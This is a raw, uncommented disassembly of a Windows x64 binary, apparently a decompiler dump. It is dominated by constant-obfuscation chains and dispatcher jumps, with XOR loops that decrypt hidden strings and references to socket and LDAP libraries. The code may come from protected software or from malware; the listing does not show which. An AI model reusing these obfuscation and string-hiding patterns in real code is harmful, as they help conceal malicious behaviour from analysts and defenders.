xor eax, 0xb7365b0d
rol eax, 0xa
popf
pushf
not eax
add eax, 0xaa1f008a
xor eax, 0xe4d84351
rol eax, 0x23
popf
pushf
not eax
add eax, 0xfdd2c45d
xor eax, 0xc1234e65
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x8806ba0c
xor eax, 0xf9dcef9f
rol eax, 0x7d
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x9314ac00
pushf
not eax
add eax, 0xa949cd6f
xor eax, 0xe2bbdf5b
rol eax, 0x55
popf
pushf
not eax
add eax, 0xa7b78405
xor eax, 0xd7355038
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x855389d3
xor eax, 0xe1290a99
rol eax, 0xef
popf
pushf
not eax
add eax, 0x8a983d85
xor eax, 0xd1c0fd8d
rol eax, 0x7f
popf
jmp 0x140110660
lea rcx, [rbp + 0x2e0]
call fcn.14011fa60
lea rbx, [0x1bcc56fee]
pushf
sub rbx, 0x7cb58ede
popf
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140124421
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.14000b120
nop
cmp byte [rbp + 0x2d0], 0
je 0x140111cd9
push rax
pushf
mov eax, 0xb5b8bd6a
pushf
not eax
add eax, 0xe85bfae3
xor eax, 0xb3b59588
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xa8932c4b
xor eax, 0x943d48bc
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xf7db6c30
xor eax, 0xdbb272c5
rol eax, 0xfa
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x80f3dd60
pushf
not eax
add eax, 0xe3b9d30f
xor eax, 0xe2c714a2
rol eax, 0xda
popf
pushf
not eax
add eax, 0xb1d8cfe6
xor eax, 0xf019bca2
rol eax, 0x53
popf
pushf
not eax
add eax, 0xd14d4661
xor eax, 0x9ec51f0a
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xa528aad0
xor eax, 0xf57a57d3
rol eax, 0x15
popf
jmp 0x140110660
cmp byte [0x1400fef70], 0
jne 0x140111d81
push rax
pushf
mov eax, 0xe5941115
pushf
not eax
add eax, 0xeed8cd72
xor eax, 0x8555a3f2
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xabdb95c7
xor eax, 0xffad71d8
rol eax, 0xea
popf
pushf
not eax
add eax, 0x990e640c
xor eax, 0x99683998
rol eax, 0xfd
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x6f37f86a
pushf
not eax
add eax, 0x874c9998
xor eax, 0x9b556524
rol eax, 0x33
popf
pushf
not eax
add eax, 0xe4c77908
xor eax, 0xa970e0a6
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf253a258
xor eax, 0xcb261c4d
rol eax, 0x35
popf
pushf
not eax
add eax, 0xe80f9285
xor eax, 0x88995e4a
rol eax, 2
popf
jmp 0x140110660
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140124421
mov rcx, rax
call fcn.14012568c
push rax
pushf
mov eax, 0xa6f96341
pushf
not eax
add eax, 0xb3022a5e
xor eax, 0xe70571b9
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa914fa14
xor eax, 0xbfbab92e
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xd94fef7b
xor eax, 0xc549152c
rol eax, 0x25
popf
jmp 0x140110660
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rbx, qword [0x1400fe110]
mov qword [0x1400fe120], rdi
mov byte [rbx], 0
movups xmm0, xmmword [str.uUUS]
movups xmmword [rbp + 0x2e0], xmm0
mov eax, dword [0x140076f38]
mov dword [rbp + 0x2f0], eax
movzx eax, word [0x140076f3c]
mov word [rbp + 0x2f4], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x2f6], al
mov r8d, edi
cmp r14d, 2
jl 0x140111ed7
push rax
pushf
mov eax, 0xe1fc7c1b
pushf
not eax
add eax, 0xa995bd7f
xor eax, 0x9f17fe7a
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x8ec9fb9d
xor eax, 0xdeffe013
rol eax, 2
popf
pushf
not eax
add eax, 0xcba642ca
xor eax, 0xc5894a93
rol eax, 0xaa
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x696d8171
pushf
not eax
add eax, 0xab5c49e4
xor eax, 0xe6ef7122
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x935e6421
xor eax, 0xd7e2f690
rol eax, 0x32
popf
pushf
not eax
add eax, 0x8f5199d4
xor eax, 0xceb8d86c
rol eax, 0x23
popf
pushf
not eax
add eax, 0x998472ea
xor eax, 0xcb759fba
rol eax, 0x88
popf
jmp 0x140110660
movdqa xmm5, xmmword [0x140078130]
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2e4]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x2d716dd8
pushf
not eax
add eax, 0xa4d2844c
xor eax, 0xe99e31b0
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xe4a16d5f
xor eax, 0x91cbaab1
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xa7571f65
xor eax, 0xf349d086
rol eax, 0xd1
popf
jmp 0x140110660
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1401120e1
push rax
pushf
mov eax, 0x38a74154
pushf
not eax
add eax, 0xc0208781
xor eax, 0xaceb6f60
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xf8abd6c2
xor eax, 0xa7878429
rol eax, 0xa
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa93d9918
pushf
not eax
add eax, 0x8c87b684
xor eax, 0x96d49c2c
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa47d542b
xor eax, 0xf2953fb3
rol eax, 5
popf
jmp 0x140110660
cmp r8d, 0x17
jge 0x140112160
push rax
pushf
mov eax, 0xe586fd07
pushf
not eax
add eax, 0xf7612dd1
xor eax, 0xbb70f66f
rol eax, 0x28
popf
pushf
not eax
add eax, 0xd644d665
xor eax, 0xbead6017
rol eax, 0x19
popf
pushf
not eax
add eax, 0xe2d1cd1f
xor eax, 0x8794267f
rol eax, 0x2f
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xcd47fdd2
pushf
not eax
add eax, 0xb0def999
xor eax, 0xe54cb0e1
rol eax, 0x94
popf
pushf
not eax
add eax, 0x9400855a
xor eax, 0xe1901a35
rol eax, 0x99
popf
jmp 0x140110660
movsxd rax, r8d
lea r9, [rbp + 0x2e0]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xd847d261
pushf
not eax
add eax, 0xb92fc514
xor eax, 0xdaa99614
rol eax, 0x91
popf
pushf
not eax
add eax, 0xbf0caeab
xor eax, 0xb8519810
rol eax, 0x88
popf
pushf
not eax
add eax, 0xb18c6689
xor eax, 0xee51a80c
rol eax, 0xa
popf
pushf
not eax
add eax, 0xe020a547
xor eax, 0xfd9fc580
rol eax, 0xc9
popf
jmp 0x140110660
mov eax, 0xce5e86fa
pushf
not eax
add eax, 0xce622356
xor eax, 0xa5235c16
rol eax, 0x30
popf
pushf
not eax
add eax, 0x8d897b4c
xor eax, 0xf6286716
rol eax, 0xfe
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1401122c6
push rax
pushf
mov eax, 0x3d1226b4
pushf
not eax
add eax, 0xbb5bea5f
xor eax, 0x8c498ab5
rol eax, 0x23
popf
pushf
not eax
add eax, 0x8c05fb81
xor eax, 0xa27aaa1d
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xf564976a
xor eax, 0xe9fb1bcb
rol eax, 0xec
popf
pushf
not eax
add eax, 0xe7dd7590
xor eax, 0x8c9d8d69
rol eax, 0xd4
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x88a17e29
pushf
not eax
add eax, 0xfbdf8e2e
xor eax, 0xb76aedf6
rol eax, 0xef
popf
pushf
not eax
add eax, 0xbe50b676
xor eax, 0xddb38023
rol eax, 0x16
popf
pushf
not eax
add eax, 0xfee081e8
xor eax, 0xc6ec6fcf
rol eax, 0x87
popf
pushf
not eax
add eax, 0xf0bb7686
xor eax, 0xcafdb7f4
rol eax, 0x70
popf
jmp 0x140110660
lea rcx, [rbp + 0x2e0]
call fcn.14011fa60
mov eax, dword [0x140076d10]
mov dword [rbp + 0x2e0], eax
movzx eax, byte [0x140076d14]
mov byte [rbp + 0x2e0], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x2e1], 0x3a
xor byte [rbp + 0x2e2], 0x3b
xor byte [rbp + 0x2e3], 0x3c
xor al, 0x3d
mov byte [rbp + 0x2e4], al
lea rcx, [rbp + 0x2e0]
call fcn.14011fa60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x60], eax
xor edx, edx
mov r8d, 0xebdc654a
pushf
not r8d
add r8d, 0x8ebfa283
xor r8d, 0xfb8db198
rol r8d, 0xc8
popf
pushf
not r8d
add r8d, 0xb1620fa4
xor r8d, 0x9adafc5c
rol r8d, 0xe7
popf
pushf
not r8d
add r8d, 0x9b4d887e
xor r8d, 0x9403fd11
rol r8d, 0x4d
popf
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x70]
call fcn.140124421
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 0x70]
call fcn.140124421
nop
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x50]
call fcn.140124421
nop
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x30]
call fcn.140124421
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x10]
call fcn.140124421
mov eax, dword [rbp + 0x220]
mov dword [rbp + 0x10], eax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.140124421
nop
lea rax, [0x1bec0f703]
pushf
sub rax, 0x7eb986e3
popf
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x100]
jmp 0x140112464
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x2e0], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x70]
jmp 0x140112487
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [0x186bf74a7]
pushf
sub rax, 0x46b80427
popf
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x6c], edx
lea rax, [rbp + 0x80]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x80]
jmp 0x1401124d2
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, [0x1a466ceae]
pushf
sub rax, 0x645f5f66
popf
mov qword [rbp + 0x80], rax
mov rbx, qword [rsp + 0x68]
cmp rbx, 0xf
jbe 0x140112542
push rax
pushf
mov eax, 0x6c818238
pushf
not eax
add eax, 0xe2f05755
xor eax, 0xdc5a3052
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xf00fec35
xor eax, 0xdda6d7b0
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x8ab2c4ca
xor eax, 0x84e61c9c
rol eax, 8
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x4e9c405f
pushf
not eax
add eax, 0x8868b4e7
xor eax, 0xbbad333b
rol eax, 0x49
popf
pushf
not eax
add eax, 0x9c05efbf
xor eax, 0xd975d6ba
rol eax, 0x13
popf
jmp 0x140110660
mov r8, qword [rsp + 0x50]
inc rbx
jmp 0x140112666
mov ebx, 0x89fa87bb
pushf
not ebx
add ebx, 0xd9a6182b
xor ebx, 0xe0e30927
rol ebx, 0x2d
popf
pushf
not ebx
add ebx, 0xac94c3d4
xor ebx, 0x99288123
rol ebx, 0x19
popf
pushf
not ebx
add ebx, 0xc9cad3f7
xor ebx, 0xaa217fa5
rol ebx, 0xd5
popf
pushf
not ebx
add ebx, 0xd8aff562
xor ebx, 0x91d837fb
rol ebx, 0xee
popf
mov ecx, ebx
call fcn.14010a164
mov r8, rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
push rax
pushf
mov eax, 0xc867a1ad
pushf
not eax
add eax, 0xd41b1942
xor eax, 0x8a33aece
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x996dae2b
xor eax, 0xf90d77e8
rol eax, 0x9f
popf
jmp 0x140110660
mov rdx, qword [rsp + 0x60]
push r8
not r8
sub rdx, r8
pop r8
sub rdx, 1
mov qword [rbp + 0xe8], rdx
lea rdx, [rbx + r8]
mov rcx, qword [rbp + 0xa0]
mov qword [rcx], r8
mov rcx, qword [rbp + 0xc0]
mov qword [rcx], r8
sub edx, r8d
mov rax, qword [rbp + 0xd8]
mov dword [rax], edx
mov rcx, qword [rbp + 0xe8]
mov rax, qword [rbp + 0x98]
mov qword [rax], r8
mov rax, qword [rbp + 0xb8]
mov qword [rax], r8
sub ecx, r8d
mov rax, qword [rbp + 0xd0]
mov dword [rax], ecx
mov dword [rbp + 0xf0], reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rsp + 0x70]
call fcn.14000a640
movabs rax, 0x26a568d3066aec41
pushf
not rax
add rax, 0x7b567b26
xor rax, 0x79bbfe8b
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x4e34ac9a
xor rax, 0x6c7ef7c8
rol rax, 0xaf
popf
mov qword [rsp + 0x50], rax
movabs rax, 0x9393d1df8037db25
pushf
not rax
add rax, 0x44f1436f
xor rax, 0x69c30bc8
rol rax, 0x32
popf
pushf
not rax
add rax, 0x4a304d40
xor rax, 0x41a56aa7
rol rax, 4
popf
pushf
not rax
add rax, 0x662f099f
xor rax, 0x6df249d5
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x6699c36d
xor rax, 0x4c67ed8e
rol rax, 0x81
popf
mov qword [rsp + 0x58], rax
movabs rax, 0x922b2242ccf61428
pushf
not rax
add rax, 0x4e36c6e6
xor rax, 0x686ec43f
rol rax, 0x29
popf
pushf
not rax
add rax, 0x7556c57d
xor rax, 0x78d1da7b
rol rax, 0xec
popf
mov qword [rsp + 0x60], rax
movabs rcx, 0x875df494ae82843
pushf
not rcx
add rcx, 0x445ab315
xor rcx, 0x5206deb4
rol rcx, 0x74
popf
pushf
not rcx
add rcx, 0x67b1cbd1
xor rcx, 0x53e3fe13
rol rcx, 0x8e
popf
pushf
not rcx
add rcx, 0x6b32535b
xor rcx, 0x445f03dd
rol rcx, 0xb9
popf
pushf
not rcx
add rcx, 0x440d129e
xor rcx, 0x565bee9e
rol rcx, 0xbf
popf
mov qword [rsp + 0x68], rcx
movabs rax, 0x31991e40ea61ef26
pushf
not rax
add rax, 0x515c6f4c
xor rax, 0x60e9a71a
rol rax, 0xc2
popf
pushf
not rax
add rax, 0x54bfdf12
xor rax, 0x522b1765
rol rax, 0x42
popf
pushf
not rax
add rax, 0x5c407dfc
xor rax, 0x62798f7a
rol rax, 0xeb
popf
mov qword [rbp + 0x2e0], rax
movabs rax, 0xdd979bbfd1526733
pushf
not rax
add rax, 0x7a12e79e
xor rax, 0x4c2dc9e5
rol rax, 0x22
popf
pushf
not rax
add rax, 0x769c96c1
xor rax, 0x4328cfe2
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x5e304c3b
xor rax, 0x71982938
rol rax, 0x28
popf
mov qword [rbp + 0x2e8], rax
movabs rax, 0x33262b3ef2384eb
pushf
not rax
add rax, 0x5c606469
xor rax, 0x7619092b
rol rax, 4
popf
pushf
not rax
add rax, 0x5befa680
xor rax, 0x6432da79
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x584df710
xor rax, 0x5a5daa44
rol rax, 0xa1
popf
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rcx
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x2e0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
movq rax, xmm1
test al, al
je 0x1401129d1
push rax
pushf
mov eax, 0xe722247
pushf
not eax
add eax, 0xd1166f86
xor eax, 0xf308ae31
rol eax, 1
popf
pushf
not eax
add eax, 0x96e4e594
xor eax, 0xf18358f6
rol eax, 0x18
popf
pushf
not eax
add eax, 0xaa4b6c9f
xor eax, 0xc6896454
rol eax, 3
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xef281eeb
pushf
not eax
add eax, 0x8aed8c64
xor eax, 0xbb937b6c
rol eax, 0x87
popf
pushf
not eax
add eax, 0xc1633d09
xor eax, 0x974832f8
rol eax, 0xd
popf
jmp 0x140110660
lea rax, [rsp + 0x50]
push rax
pushf
mov eax, 0x2dafc5f9
pushf
not eax
add eax, 0xbc1317b7
xor eax, 0xd4b249fe
rol eax, 0xca
popf
pushf
not eax
add eax, 0xdadc9e33
xor eax, 0xf7efa51f
rol eax, 0xab
popf
pushf
not eax
add eax, 0xb8cabeed
xor eax, 0xd09ce767
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xea761dae
xor eax, 0xcc598b8e
rol eax, 0xb8
popf
jmp 0x140110660
inc rax
cmp byte [rax], 0
jne 0x140112ab0
push rax
pushf
mov eax, 0x2d196507
pushf
not eax
add eax, 0xe7507969
xor eax, 0xe637b2eb
rol eax, 0x61
popf
pushf
not eax
add eax, 0xdbd99a90
xor eax, 0xde0e8874
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xfe57a7d3
xor eax, 0xfee1f49f
rol eax, 0xdc
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xdadfa7d0
pushf
not eax
add eax, 0xc88a7269
xor eax, 0xcd400714
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x895cde68
xor eax, 0xee449c12
rol eax, 0x5e
popf
jmp 0x140110660
mov qword [rsp + 0x40], rax
push rax
pushf
mov eax, 0x8afeea1b
pushf
not eax
add eax, 0xe0a7c1dc
xor eax, 0x8f58f2ce
rol eax, 0x20
popf
pushf
not eax
add eax, 0x89233d78
xor eax, 0xae331c29
rol eax, 0x7b
popf
jmp 0x140110660
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.140137c93
lea rcx, [rbp + 0x40]
jmp 0x140112b2e
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
imul rbx, rax, 0x989680
jmp 0x140112b3c
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
sub rbx, rax
mov rax, rbx
cqo
movabs rcx, 0xfffec63d2f752f2d
pushf
not rcx
add rcx, 0x786c5f72
xor rcx, 0x47a0f044
rol rcx, 0x73
popf
pushf
not rcx
add rcx, 0x65a8b9bd
xor rcx, 0x581c5b91
rol rcx, 0x7c
popf
pushf
not rcx
add rcx, 0x43847b1d
xor rcx, 0x5097f246
rol rcx, 0x84
popf
idiv rcx
mov r8, rdx
mov r13, rax
mov eax, 0xa3cf0d54
pushf
not eax
add eax, 0x8bb61094
xor eax, 0x8cfd8cac
rol eax, 0x34
popf
pushf
not eax
add eax, 0xb67446ad
xor eax, 0xe868c05d
rol eax, 0xbd
popf
imul r13d
mov esi, edx
sar esi, 2
mov ecx, esi
shr ecx, 0x1f
push rcx
not ecx
sub esi, ecx
pop rcx
sub esi, 1
lea eax, [rsi + rsi*2]
shl eax, 3
sub r13d, eax
movabs r9, 0xa4e843a4be16b99d
pushf
not r9
add r9, 0x47fab505
xor r9, 0x590b8eb6
rol r9, 0xcb
popf
pushf
not r9
add r9, 0x4665f8ad
xor r9, 0x7e35cf1c
rol r9, 0x1e
popf
pushf
not r9
add r9, 0x5f19bab6
xor r9, 0x751f05e7
rol r9, 0xe4
popf
pushf
not r9
add r9, 0x5221d70a
xor r9, 0x5402dfd3
rol r9, 2
popf
mov rax, r9
imul r8
mov r12, rdx
sar r12, 0x1a
mov rcx, r12
shr rcx, 0x3f
push rcx
not rcx
sub r12, rcx
pop rcx
sub r12, 1
mov rax, r9
imul rbx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
imul rax, rdx, 0x23c34600
sub rbx, rax
movabs rax, 0xfe27c5c31787db79
pushf
not rax
add rax, 0x6fd26ef4
xor rax, 0x45211de7
rol rax, 0x90
popf
pushf
not rax
add rax, 0x4cd88261
xor rax, 0x683392c1
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x509a9f72
xor rax, 0x757a8bbc
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x51898ed8
xor rax, 0x53e18705
rol rax, 0x30
popf
imul rbx
lea r15, [rbx + rdx]
sar r15, 0x17
mov rax, r15
shr rax, 0x3f
push rax
not rax
sub r15, rax
pop rax
sub r15, 1
lea rdx, [rbp + 0x248]
lea rcx, [rsp + 0x70]
call fcn.140124421
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp - 0x70]
call fcn.140124421
nop
lea rdx, [rbp + 0x288]
lea rcx, [rbp - 0x50]
call fcn.140124421
nop
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp - 0x30]
call fcn.140124421
mov eax, dword [rbp + 0x2c8]
mov dword [rbp - 0x10], eax
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.140124421
lea r10, [rsp + 0x50]
movups xmm0, xmmword [0x140077050]
mov eax, dword [0x140077060]
movups xmmword [rbp + 0x2e0], xmm0
mov dword [rbp + 0x2f0], eax
movzx eax, byte [0x140077064]
mov byte [rbp + 0x2f4], al
cmp qword [rsp + 0x68], 0xf
jbe 0x140112e13
push rax
pushf
mov eax, 0xd87de604
pushf
not eax
add eax, 0xd5789567
xor eax, 0x89a5fb70
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xa0c52414
xor eax, 0xf5b545d4
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x99b3a41a
xor eax, 0x92ea5504
rol eax, 0x36
popf
pushf
not eax
add eax, 0x98881407
xor eax, 0xfb89fa43
rol eax, 0xbd
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x3d339571
pushf
not eax
add eax, 0x998b6ab4
xor eax, 0xfcad0e8b
rol eax, 0x41
popf
pushf
not eax
add eax, 0xf38eb816
xor eax, 0xe14c00df
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x959f8bde
xor eax, 0xd7462ec1
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x91080525
xor eax, 0xfa3a53f3
rol eax, 0xd8
popf
jmp 0x140110660
mov r10, qword [rsp + 0x50]
push rax
pushf
mov eax, 0x8b4edc71
pushf
not eax
add eax, 0xa397a847
xor eax, 0xca0b213c
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xf5050b16
xor eax, 0xa76d916b
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xfb696e51
xor eax, 0x8fbcef78
rol eax, 0xa8
popf
jmp 0x140110660
mov r8d, edi
cmp r14d, 2
jl 0x140112ef7
push rax
pushf
mov eax, 0x32fadc52
pushf
not eax
add eax, 0xa26b7e24
xor eax, 0xde3ecb4c
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xf424f668
xor eax, 0xe95fbcbd
rol eax, 0x86
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x440498e5
pushf
not eax
add eax, 0xa8849901
xor eax, 0xdbc9423f
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xfb3ff80f
xor eax, 0xbe8e8efe
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xf8110295
xor eax, 0xc4fbb5e4
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xa921f8f6
xor eax, 0x80d6bb63
rol eax, 0x4d
popf
jmp 0x140110660
movdqa xmm5, xmmword [0x140078130]
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2e4]
mov edx, dword [rsp + 0x30]
push rax
pushf
mov eax, 0xbc8da556
pushf
not eax
add eax, 0xb270cc86
xor eax, 0xc6bf8480
rol eax, 0x34
popf
pushf
not eax
add eax, 0xa8128944
xor eax, 0xf1a7974b
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xc8aa9be8
xor eax, 0xe8d3c2b5
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xdeb098fc
xor eax, 0xb2a198c6
rol eax, 0x8b
popf
jmp 0x140110660
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140113132
push rax
pushf
mov eax, 0xcc36e1cf
pushf
not eax
add eax, 0xd46fadb9
xor eax, 0xf13a523e
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd41c0913
xor eax, 0xd2ad0226
rol eax, 0x93
popf
pushf
not eax
add eax, 0xb17c7961
xor eax, 0xb3c21e6c
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xd17b261f
xor eax, 0xaece0326
rol eax, 0x2a
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x562dfdc6
pushf
not eax
add eax, 0x919e8c9a
xor eax, 0xf5ac8e82
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xfe647bb1
xor eax, 0xba2da250
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x907e8aaf
xor eax, 0xdac8d08f
rol eax, 0x1a
popf
jmp 0x140110660
